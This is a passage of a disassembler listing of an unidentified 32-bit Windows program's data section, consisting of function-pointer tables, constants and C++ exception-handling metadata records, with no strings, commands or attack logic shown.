'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0 align 4 dd 31Bh dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o ; sub_409C20+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o ; sub_40AEF0+1Co dd offset byte_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o ; sub_40B250+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o ; sub_40FE70+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o ; sub_40FE70+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o ; sub_4119E0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do ; sub_4132F0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o ; sub_417EF0+8o dd offset sub_4020C7 dd 0 off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o ; sub_417F20+8o dd offset sub_401230 align 8 off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o dd offset sub_401CF3 dd 0 off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o ; sub_4191B0+36o off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o ; ___:0041B58Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_41D860+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao ; sub_427850+1Do dd offset sub_401A78 dd offset byte_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao ; sub_4291E0+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset byte_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_429540+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o ; sub_42AD50+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:00437AF8o ; ___:off_444890o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448C90 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448C90 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382CC+0B24h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0) dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0 dd offset loc_4392B8 dd 2 dup(0) dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0 dd offset loc_4392E8 align 10h dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0) dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0 dd offset loc_439338 dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh dd 2 dup(0) dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0 dd offset loc_4393B8 dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh dd 2 dup(0) dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0) dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0 dd offset loc_4394F8 dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0) dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0 dd offset loc_43957B dd 0 dd offset loc_439586 dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0) dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0 dd offset loc_439820 align 10h dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0 dd offset loc_439860 dd 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0) dd offset off_444890 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448B0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448D8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o dd offset dword_437EC4+62h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) byte_440140 db 20h ; DATA XREF: ___:loc_439DB9o db 5, 93h, 19h dd 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF32 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0B1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A568 dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh dd 43A623h, 0Fh, 43A631h, 4 dup(0) dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0 dd offset loc_43A69B dd 1, 43A6A6h, 0 dd offset loc_43A6B1 dd 0 dd offset loc_43A6BC dd 0 dd offset loc_43A6C7 dd 0 dd offset loc_43A6D2 dd 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 9, 43A6FEh, 0 dd offset loc_43A709 dd 0 dd offset loc_43A714 dd 0 dd offset loc_43A71F dd 0 dd offset loc_43A72A dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh dd 0 dd offset loc_43A799 dd 0 dd offset loc_43A7A4 dd 0 dd offset loc_43A7B2 dd 0 dd offset loc_43A7C0 dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0 dd offset loc_43A7E1 dd 1Dh, 43A7ECh, 0 dd offset loc_43A7F7 dd 1Fh, 43A802h, 0 dd offset loc_43A80D dd 0 dd offset loc_43A818 dd 0 dd offset loc_43A823 dd 0 dd offset loc_43A82E dd 0 dd offset loc_43A839 dd 25h, 43A844h, 26h, 43A84Fh, 0 dd offset loc_43A84F dd 28h, 43A844h, 0 dd offset loc_43A85A dd 0 dd offset loc_43A865 dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0 dd offset loc_43A87B dd 2Eh, 43A870h, 2Eh, 43A886h, 0 dd offset loc_43A891 dd 31h, 43A89Ch, 0 dd offset loc_43A8A7 dd 0 dd offset loc_43A8B2 dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0) dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0) dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0) dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0 dd offset loc_43A9B8 dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0) dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0 dd offset loc_43AA18 dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0) dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0) dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0 dd offset loc_43AAE8 dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9 dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h dd 4 dup(0) dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0 dd offset loc_43AB90 align 10h dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0 dd offset loc_43ABD8 dd 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 